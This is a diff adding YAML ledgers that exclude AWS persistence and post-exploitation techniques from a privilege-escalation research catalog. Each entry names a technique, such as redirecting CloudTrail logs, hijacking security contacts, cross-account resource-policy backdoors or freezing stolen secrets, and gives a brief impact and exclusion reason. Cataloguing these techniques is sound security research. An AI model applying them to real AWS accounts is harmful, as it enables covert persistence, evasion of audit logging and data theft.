b/src/privilege-escalation-paths-research/aws/_excluded_unproven_ssm_dlm_target_final_reaudit_20261016.yaml @@ -0,0 +1,15 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/unproven-ssm-dlm-target-final-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dlm-privesc/README.md#dlmcreatelifecyclepolicy-iampassrole--scheduled-commands-through-dlm-prepost-scripts + source_revision: 171e422299 + technique: Schedule SSM command documents on tagged instances through DLM pre/post scripts + reason: "The source can create or update a DLM policy, but the passed DLM role\u2019s SendCommand\ + \ authority, target tags, and matched managed instance are only prose conditions. The evaluator\ + \ cannot prove a specific EC2 profile role is reached." + prior_id: aws-dlm-passrole-lifecyclepolicy-scripts +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmresumesession + source_revision: 171e422299 + technique: Resume another user's disconnected Session Manager session + reason: The evaluator does not collect resumable session ID to EC2 instance to instance-profile + role. ssm:ResumeSession on * alone cannot establish that any specific inventoried node role is + reached. + prior_id: aws-ssm-resumesession diff --git a/src/privilege-escalation-paths-research/aws/_excluded_verify_a66f.yaml b/src/privilege-escalation-paths-research/aws/_excluded_verify_a66f.yaml new file mode 100644 index 0000000000..f62ce532a2 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_verify_a66f.yaml @@ -0,0 +1,3013 @@ +# Independent AWS heading coverage review at source revision a66f094ede. +# Each source anchor was screened against the full section and the existing catalog. +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-account-management-persistence/README.md#accountputalternatecontact--hijack-the-securityoperationsbilling-contact-to-intercept-aws-notifications + technique: '`account:PutAlternateContact` — hijack the SECURITY/OPERATIONS/BILLING contact to intercept AWS notifications' + reason: 'Documented impact: Interception of AWS security/abuse/compromise notifications and operational alerts + (the owner is blinded to AWS reaching out about the very compromise), plus a foothold for social-engineering + AWS Support — a stealthy,... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-agent-registry-persistence/README.md#agent-registryupdateregistry--persist-automatic-approval-of-malicious-records + technique: '`agent-registry:UpdateRegistry` — persist automatic approval of malicious records' + reason: Persistence/configuration of `agent-registry:UpdateRegistry` — persist automatic approval of malicious + records; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-agent-registry-persistence/README.md#agent-registryupdateregistry--trust-an-attacker-controlled-jwt-client + technique: '`agent-registry:UpdateRegistry` — trust an attacker-controlled JWT client' + reason: Persistence/configuration of `agent-registry:UpdateRegistry` — trust an attacker-controlled JWT client; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-amplify-persistence/README.md#amplifycreatewebhook--persist-a-credential-less-build-trigger + technique: '`amplify:CreateWebHook` — Persist a credential-less build trigger' + reason: Persistence/configuration of `amplify:CreateWebHook` — Persist a credential-less build trigger; the section + does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appconfig-persistence/README.md#appconfigcreateextension--appconfigcreateextensionassociation--iampassrole + technique: '`appconfig:CreateExtension` + `appconfig:CreateExtensionAssociation` + `iam:PassRole`' + reason: 'Documented impact: Persistent exfiltration of future configuration contents to attacker-controlled Lambda + code, modification of content before it is stored/deployed, or denial of configuration workflows. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamenableuser--restore-a-disabled-foothold-with-its-assignments-intact + technique: '`appstream:EnableUser` — restore a disabled foothold with its assignments intact' + reason: Persistence/configuration of `appstream:EnableUser` — restore a disabled foothold with its assignments + intact; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamupdatefleet--s3--recurring-system-session-scripts-on-an-existing-elastic-fleet + technique: '`appstream:UpdateFleet` + S3 — recurring SYSTEM session scripts on an existing Elastic fleet' + reason: This session-script variant is not represented by an active role route. It needs an exact Elastic fleet, writable S3 script object, fleet role and later session trigger before execution under that role can be inferred. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-athena-result-redirection-persistence/README.md#athenaupdateworkgroup--redirect-future-query-results-to-attacker-readable-s3 + technique: '`athena:UpdateWorkGroup` — Redirect future query results to attacker-readable S3' + reason: Persistence/configuration of `athena:UpdateWorkGroup` — Redirect future query results to attacker-readable + S3; the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudtrail-persistence/README.md#blind-trail-weakening-with-cloudtrailupdatetrail + technique: Blind trail weakening with `cloudtrail:UpdateTrail` + reason: Persistence/configuration of Blind trail weakening with `cloudtrail:UpdateTrail`; the section does not + identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudtrail-trail-redirection-persistence/README.md#cloudtrailupdatetrail--redirect-future-audit-logs-to-attacker-readable-s3 + technique: '`cloudtrail:UpdateTrail` — Redirect future audit logs to attacker-readable S3' + reason: Persistence/configuration of `cloudtrail:UpdateTrail` — Redirect future audit logs to attacker-readable + S3; the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#observabilityadmincreates3tableintegration--logsassociatesourcetos3tableintegration--iampassrole--copy-future-logs-into-s3-tables + technique: '`observabilityadmin:CreateS3TableIntegration` + `logs:AssociateSourceToS3TableIntegration` + `iam:PassRole` + — copy future logs into S3 Tables' + reason: 'Documented impact: Conditional disclosure of all future log events covered by the source association + and the passed role, including credentials, tokens, request bodies, PII, and audit events. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#logsputaccountpolicy--account-wide-subscription-filter-over-every-log-group + technique: '`logs:PutAccountPolicy` — account-wide subscription filter over *every* log group' + reason: 'Documented impact: Streams future events from all (or a broad selection of) log groups in the account/region + to an attacker-authorized destination in one call — account-wide log exfiltration, or account-wide log-content + degradation via a... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#logscreatescheduledquery--iampassrole--recurring-log-exfiltration-to-s3 + technique: '`logs:CreateScheduledQuery` + `iam:PassRole` — recurring log exfiltration to S3' + reason: Persistence/configuration of `logs:CreateScheduledQuery` + `iam:PassRole` — recurring log exfiltration + to S3; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-log-forwarding-persistence/README.md#logsputsubscriptionfilter--forward-private-logs-through-a-preauthorized-destination + technique: '`logs:PutSubscriptionFilter` — forward private logs through a preauthorized destination' + reason: Persistence/configuration of `logs:PutSubscriptionFilter` — forward private logs through a preauthorized + destination; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-omni-persistence/README.md#cloudwatchcreatealert--persist-an-autonomous-telemetry-query-through-an-existing-profile + technique: '`cloudwatch:CreateAlert` — persist an autonomous telemetry query through an existing profile' + reason: 'Documented impact: repeatedly evaluate telemetry through an existing asynchronous identity, maintain + attacker-selected alert state, generate false operational signals, suppress or redirect legitimate notifications, + and conditionally send alert... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-codeartifact-persistence/README.md#codeartifactputrepositorypermissionspolicy--cross-account-repository-backdoor + technique: '`codeartifact:PutRepositoryPermissionsPolicy` — cross-account repository backdoor' + reason: 'Documented impact: Persistent cross-account theft of private package assets and/or publication of malicious + package versions, bounded by the external principal''s identity-policy allow and the domain-token policy when + package-manager... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-codeguru-profiler-persistence/README.md#codeguru-profilerputpermission--persist-agent-access-on-a-profiling-group + technique: '`codeguru-profiler:PutPermission` — persist agent access on a profiling group' + reason: Persistence/configuration of `codeguru-profiler:PutPermission` — persist agent access on a profiling group; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md#cognito-idpcreateuserpoolclient--a-rogue-app-client-with-a-decade-long-refresh-token + technique: '`cognito-idp:CreateUserPoolClient` — a rogue app client with a decade-long refresh token' + reason: Persistence/configuration of `cognito-idp:CreateUserPoolClient` — a rogue app client with a decade-long + refresh token; the section does not identify a new AWS principal whose privileges the caller gains from this + action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md#cognito-idpsetriskconfiguration + technique: '`cognito-idp:SetRiskConfiguration`' + reason: Persistence/configuration of `cognito-idp:SetRiskConfiguration`; the section does not identify a new AWS + principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-data-firehose-persistence/README.md#firehoseupdatedestination--persistently-redirect-future-records + technique: '`firehose:UpdateDestination` — persistently redirect future records' + reason: 'Documented impact: continuing exfiltration of future stream records, disclosure of a retained HTTP endpoint + token, or durable diversion/loss of telemetry. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-datasync-persistence/README.md#datasyncupdatetask--schedule-recurring-delegated-transfers + technique: '`datasync:UpdateTask` — schedule recurring delegated transfers' + reason: 'Documented impact: Recurring exfiltration of newly created data to an already accessible destination, + or repeated integrity/availability effects when the stored task overwrites or removes destination content. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md#ecs-persistence-via-task-scale-in-protection-updatetaskprotection + technique: ECS Persistence via Task Scale-In Protection (UpdateTaskProtection) + reason: 'Documented impact: A specific attacker-controlled task that autoscaling and rolling deployments cannot + evict — the backdoor container outlives the scale-in events and deployment replacements that would otherwise + sweep it away. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-elemental-inference-persistence/README.md#elemental-inferenceputfeedpolicy--cross-account-metadata-reader + technique: '`elemental-inference:PutFeedPolicy` — cross-account metadata reader' + reason: Persistence/configuration of `elemental-inference:PutFeedPolicy` — cross-account metadata reader; the + section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-eventbridge-persistence/README.md#bus-resource-policy-backdoor-eventsputpermission + technique: Bus resource-policy backdoor (`events:PutPermission`) + reason: 'Documented impact: Persistent cross-account ability to drive the victim''s existing rules and targets, + without any principal inside the victim account. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-eventbridge-persistence/README.md#enhanced-bus-cross-account-backdoor-eventsputresourcepolicy + technique: Enhanced-bus cross-account backdoor (`events:PutResourcePolicy`) + reason: 'Documented impact: Persistent cross-account injection into downstream automation, or retrospective and + continuing exfiltration of retained bus events through a foreign-owned subscriber and target, depending on the + delegated actions and the... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md#iamupdaterole--raise-a-roles-maxsessionduration + technique: '`iam:UpdateRole` — raise a role''s `MaxSessionDuration`' + reason: 'Documented impact: Twelve-hour credentials for the target role on every future assumption, reducing the + attacker''s footprint in the logs and widening the window in which a revoked upstream credential still yields + live access. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md#lambdaputfunctionrecursionconfig--disable-awss-recursive-loop-kill-switch + technique: '`lambda:PutFunctionRecursionConfig` — disable AWS''s recursive-loop kill switch' + reason: 'Documented impact: Converts a self-invoking Lambda from something AWS automatically kills within seconds + into durable, self-sustaining execution with no external trigger to discover or delete. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md#lambdaputfunctioneventinvokeconfig--updatefunctioneventinvokeconfig--redirect-async-records-or-trigger-a-fixed-consumer + technique: '`lambda:PutFunctionEventInvokeConfig` / `UpdateFunctionEventInvokeConfig` — redirect async records + or trigger a fixed consumer' + reason: 'Documented impact: Exfiltration of future asynchronous request and response payloads, plus redirection + or suppression of operational failure/success records. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-location-service-persistence/README.md#geocreatekey--mint-a-durable-public-location-bearer-key + technique: '`geo:CreateKey` — mint a durable public Location bearer key' + reason: 'Documented impact: Persistence at the Location service level: a no-expiry, unauthenticated credential + retaining the creator''s selected Maps, Places, or Routes read permissions and the ability to consume the account''s + paid quota. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-marketplace-persistence/README.md#aws-marketplacesubscribe--durable-paid-agreement--renewal + technique: '`aws-marketplace:Subscribe` — durable paid agreement / renewal' + reason: Persistence/configuration of `aws-marketplace:Subscribe` — durable paid agreement / renewal; the section + does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-medialive-output-persistence/README.md#redirect-the-output--medialiveupdatechannel + technique: Redirect the output — `medialive:UpdateChannel` + reason: Persistence/configuration of Redirect the output — `medialive:UpdateChannel`; the section does not identify + a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#grant-external-ingest--mediapackagev2putchannelpolicy + technique: Grant external ingest — `mediapackagev2:PutChannelPolicy` + reason: Persistence/configuration of Grant external ingest — `mediapackagev2:PutChannelPolicy`; the section does + not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#publish-a-private-origin-endpoint--mediapackagev2putoriginendpointpolicy + technique: Publish a private origin endpoint — `mediapackagev2:PutOriginEndpointPolicy` + reason: Persistence/configuration of Publish a private origin endpoint — `mediapackagev2:PutOriginEndpointPolicy`; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-msk-policy-persistence/README.md#cross-account-cluster-access-with-kafkaputclusterpolicy + technique: Cross-account cluster access with `kafka:PutClusterPolicy` + reason: 'Documented impact: Grants an external account cross-account connectivity and Kafka actions on the named + cluster, topics, and groups, subject to broker authentication and network prerequisites. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-q-in-connect-persistence/README.md#wisdomupdateassistantaiagent--persist-a-custom-ai-agent-as-the-assistant-default + technique: '`wisdom:UpdateAssistantAIAgent` — persist a custom AI agent as the assistant default' + reason: 'Documented impact: persistently alter customer-facing answers, agent recommendations, summaries, knowledge + selection, guardrail use, or orchestration decisions for future sessions. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ram-persistence/README.md#ramcreateresourceshare--ramassociateresourceshare--share-internal-resources-with-an-attacker-account + technique: '`ram:CreateResourceShare` (+ `ram:AssociateResourceShare`) — share internal resources with an attacker + account' + reason: 'Documented impact: Durable cross-account access to internal resources — most dangerously a network foothold + inside the victim''s VPC via a shared subnet or Transit Gateway — that persists independently of the attacker''s + IAM credentials. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md#make-instance-publicly-accessible-rdsmodifydbinstance + technique: 'Make instance publicly accessible: `rds:ModifyDBInstance`' + reason: 'Persistence/configuration of Make instance publicly accessible: `rds:ModifyDBInstance`; the section does + not identify a new AWS principal whose privileges the caller gains from this action alone.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshiftmodifycluster---reset-the-provisioned-cluster-master-password + technique: '`redshift:ModifyCluster` - reset the provisioned-cluster master password' + reason: 'Documented impact: Service-level persistence as the provisioned database master user. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshift-serverlessupdateworkgroup---open-a-network-path-to-a-planted-credential + technique: '`redshift-serverless:UpdateWorkgroup` - open a network path to a planted credential' + reason: 'Documented impact: Converts otherwise unusable SQL persistence into a reachable foothold and can expose + the database to broader networks. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshiftauthorizeendpointaccess---retain-a-cross-account-private-route + technique: '`redshift:AuthorizeEndpointAccess` - retain a cross-account private route' + reason: 'Documented impact: Durable service-level persistence enablement: an external account can maintain private + reachability to the database even after the original attack path disappears. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-route53-arc-readiness-persistence/README.md#route53-recovery-readinesscreatecrossaccountauthorization--durable-external-readiness-monitoring + technique: '`route53-recovery-readiness:CreateCrossAccountAuthorization` — durable external readiness monitoring' + reason: 'Documented impact: Durable cross-account reconnaissance of application topology, resource existence, + failover readiness, configuration equivalence, capacity, runtime state, quotas, and routing properties. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-s3-files-persistence/README.md#s3filesputfilesystempolicy--cross-account-access-to-the-file-system-and-its-bucket-data + technique: '`s3files:PutFileSystemPolicy` — cross-account access to the file system (and its bucket data)' + reason: 'Documented impact: Cross-account / public exposure of a file system and the S3 data behind it by rewriting + its resource policy; or removal of a restrictive policy as defense evasion. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md#s3-access-point-backdoor--s3createaccesspoint-s3putaccesspointpolicy + technique: S3 Access Point backdoor — `s3:CreateAccessPoint`, `s3:PutAccessPointPolicy` + reason: 'Documented impact: Durable, low-visibility access to the bucket''s objects that survives review of the + bucket policy and IAM policies, and can be granted to an external account so it outlives cleanup of the attacker''s + principals inside the victim... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#canvas-cross-account-model-registry-backdoor-updateuserprofilemodelregistersettings + technique: Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings) + reason: Persistence/configuration of Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings); + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#model-registry-resource-policy-putmodelpackagegrouppolicy + technique: Model Registry resource policy (PutModelPackageGroupPolicy) + reason: Persistence/configuration of Model Registry resource policy (PutModelPackageGroupPolicy); the section + does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#blind-organization-wide-share-with-sagemakerputmodelpackagegrouppolicy-alone + technique: Blind organization-wide share with `sagemaker:PutModelPackageGroupPolicy` alone + reason: Persistence/configuration of Blind organization-wide share with `sagemaker:PutModelPackageGroupPolicy` + alone; the section does not identify a new AWS principal whose privileges the caller gains from this action + alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md#secretsmanagerrotatesecret--invoke-the-existing-rotation-lambda + technique: '`secretsmanager:RotateSecret` — invoke the existing rotation Lambda' + reason: Persistence/configuration of `secretsmanager:RotateSecret` — invoke the existing rotation Lambda; the + section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md#secretsmanagercancelrotatesecret--freeze-a-stolen-secret-by-turning-off-rotation + technique: '`secretsmanager:CancelRotateSecret` — freeze a stolen secret by turning off rotation' + reason: 'Documented impact: Persistence — a previously-stolen secret is never rotated away, so the compromised + credential keeps working long after the intrusion, with no further action from the attacker. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-security-agent-persistence/README.md#securityagentcreatemembership--retain-agent-space-web-application-access + technique: '`securityagent:CreateMembership` — retain Agent Space web-application access' + reason: 'Documented impact: Service-level persistence into the assigned Agent Space. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-security-incident-response-persistence/README.md#security-irupdatemembership--persist-as-an-incident-response-teammate + technique: '`security-ir:UpdateMembership` — persist as an incident-response teammate' + reason: Persistence/configuration of `security-ir:UpdateMembership` — persist as an incident-response teammate; + the section does not identify a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-security-incident-response-persistence/README.md#security-irupdatecase--add-a-case-watcher + technique: '`security-ir:UpdateCase` — add a case watcher' + reason: Persistence/configuration of `security-ir:UpdateCase` — add a case watcher; the section does not identify + a new AWS principal whose privileges the caller gains from this action alone. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md#ssmcreateactivation-iampassrole--a-long-lived-hybrid-activation-as-a-re-entry-credential + technique: '`ssm:CreateActivation`, `iam:PassRole` — a long-lived hybrid activation as a re-entry credential' + reason: The same CreateActivation plus PassRole route and target role are modeled by aws-ssm-passrole-createactivation; + this section explains the persistence benefit of reusing the activation. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md#using-ssmcreateassociation-for-persistence + technique: Using ssm:CreateAssociation for persistence + reason: 'Documented impact: A scheduled backdoor that re-executes on every targeted managed node indefinitely, + surviving reboots, reimaging of the payload on disk, and termination of the attacker''s own sessions. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-support-authorization-persistence/README.md#supportauthzcreatesupportpermit--leave-a-no-expiry-regional-support-authorization + technique: '`supportauthz:CreateSupportPermit` — leave a no-expiry regional Support authorization' + reason: 'Documented impact: Preserves a latent AWS Support access grant after the original IAM session is revoked. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-account-management-post-exploitation/README.md#accountenableregion--disableregion--open-a-blind-region-or-disrupt-one + technique: '`account:EnableRegion` / `DisableRegion` — open a blind region or disrupt one' + reason: 'Documented impact: Enabling an unmonitored Region creates a staging area outside incomplete regional + detection/control deployments; disabling an in-use opt-in Region removes IAM access to its resources and can + cause a regional outage until... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-acm-pca-scep-post-exploitation/README.md#acmexportcertificate--export-the-certificate-private-key + technique: '`acm:ExportCertificate` — Export the certificate private key' + reason: This heading concerns reading or exporting data via `acm:ExportCertificate` — Export the certificate private + key; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-agent-registry-post-exploitation/README.md#agent-registryupdateregistryrecordstatus--approve-a-malicious-registry-revision + technique: '`agent-registry:UpdateRegistryRecordStatus` — approve a malicious registry revision' + reason: 'Documented impact: Bypass the registry''s human curation step and publish attacker-controlled MCP server, + agent, skill or custom metadata to every consumer authorized to discover the registry. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-amplify-post-exploitation/README.md#recover-amplify-ui-builder-generated-source--amplifyuibuildergetcodegenjob + technique: Recover Amplify UI Builder generated source — `amplifyuibuilder:GetCodegenJob` + reason: 'Documented impact: recover generated application source and its complete generic data schema, including + model and field names, relationships, enum values, UI labels, component structure, action configuration and + embedded application URLs. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypost-createapikey-createusageplankey + technique: '`apigateway:POST` (`CreateApiKey`, `CreateUsagePlanKey`)' + reason: 'Documented impact: if the association becomes effective: Access to methods that use the associated usage-plan + key, or resource and traffic impact if an attacker can create many keys; separate IAM, Lambda authorizer, or + Cognito authorization... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayget--recover-rest-api-key-values + technique: '`apigateway:GET` — Recover REST API key values' + reason: 'Documented impact: Disclosure and reuse of API Gateway client credentials and access to key-gated API + methods. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--repoint-a-stage-variable-at-an-attacker-backend + technique: '`apigateway:PATCH` (`UpdateStage`) — repoint a stage variable at an attacker backend' + reason: 'Documented impact: Complete interception of a live API''s traffic — request headers and bodies (bearer + tokens, cookies, API keys, PII) reach an attacker-controlled endpoint, which can also alter the response returned + to the client. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--canary-split-live-traffic-onto-another-deployment + technique: '`apigateway:PATCH` (`UpdateStage`) — canary-split live traffic onto another deployment' + reason: 'Documented impact: A fraction of live production traffic — chosen by the attacker — is served by a different + deployment, or by the same deployment pointed at a different backend through stageVariableOverrides. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch--apigatewaypost-updategatewayresponse-createdeployment + technique: '`apigateway:PATCH` / `apigateway:POST` (`UpdateGatewayResponse`, `CreateDeployment`)' + reason: 'Documented impact: Leakage of request or context data, or attacker-controlled response content being + interpreted unsafely by a client. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayput--apigatewaypost-putmethodresponse-createdeployment + technique: '`apigateway:PUT` / `apigateway:POST` (`PutMethodResponse`, `CreateDeployment`)' + reason: 'Documented impact: Altered response contracts or exposure of values that an integration maps into the + newly declared headers; arbitrary script execution would require a separate client-side sink. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayupdateportal--apigatewaypublishportal--make-protected-api-documentation-public + technique: '`apigateway:UpdatePortal` + `apigateway:PublishPortal` — make protected API documentation public' + reason: 'Documented impact: Remove the portal''s login boundary and expose its entire published API documentation/catalog + to unauthenticated internet users. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updateapi--open-a-http-apis-cors-policy-to-an-attacker-origin + technique: '`apigateway:PATCH` (`UpdateApi`) — open a HTTP API''s CORS policy to an attacker origin' + reason: 'Documented impact: Any browser session authenticated to the API can be read and driven cross-origin from + an attacker-controlled page, turning the API into a credentialed data-exfiltration and action endpoint without + touching routes, integrations... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--roll-a-stage-back-to-an-unsafe-deployment + technique: '`apigateway:PATCH` (`UpdateStage`) — roll a stage back to an unsafe deployment' + reason: 'Documented impact: Re-exposure of removed API behavior or data, authorization bypass through an older + configuration, or service disruption. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch--apigatewaypost-updaterestapi-createdeployment + technique: '`apigateway:PATCH` / `apigateway:POST` (`UpdateRestApi`, `CreateDeployment`)' + reason: 'Documented impact: Re-exposing the default API endpoint or changing where API Gateway obtains usage identifiers, + which can undermine assumptions made by custom-domain or usage-plan controls. This 